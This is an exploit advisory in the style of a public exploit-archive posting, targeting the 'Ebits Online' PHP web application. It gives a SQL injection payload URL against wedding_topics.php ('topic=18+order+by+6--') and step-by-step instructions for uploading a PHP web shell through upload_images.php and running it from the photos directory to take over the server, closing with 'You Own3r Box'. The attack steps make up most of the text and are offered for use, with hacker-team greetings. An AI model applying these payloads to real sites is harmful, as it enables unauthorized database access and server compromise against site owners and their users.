Ebits Online <= SQL Injection & upload shell

============================================
Ebits Online <= SQL Injection & upload shell
============================================


###################################################
# Exploit Title:Ebits Online <= SQL & upload shell
# Date: 23/6/2010                                
# Author: MeGo                                   
# Vendor: Link: http://www.ebitsonline.com       
# Version: 1                                     
# Eamil: [email protected]                           
# Platform / Tested on: Windows xp   TYPE: php   
# Category: webapps/0day                         
# MY Team: Team Hacker Egypt                     
******************************************************************
############
#SQL [ Exploit ]#
###########

http://localhost/path/wedding_topics.php?topic= [ SQL ]

http://localhost/path/wedding_topics.php?topic=18+order+by+6--

******************************************************************

#################
#Upload Shell [ Exploit ]#
#################

Step [ 1 ]

http://localhost/path/upload_images.php

upload ur shell MeGo.php  use  [ Tember ]

step [ 2 ]

http://localhost/path/photos/MeGo.php

dir of ur Evil :D

step [ 3 ]

You Own3r Box =))

*******************************************************************
Greetz To : Dr.Silnt HilL , Alsaeek , and all Member of MY Team :d

SG: elga7ed , inj3ct0r.com => only db Exploit :D
*******************************************************************



#  0day.today [2018-03-14]  #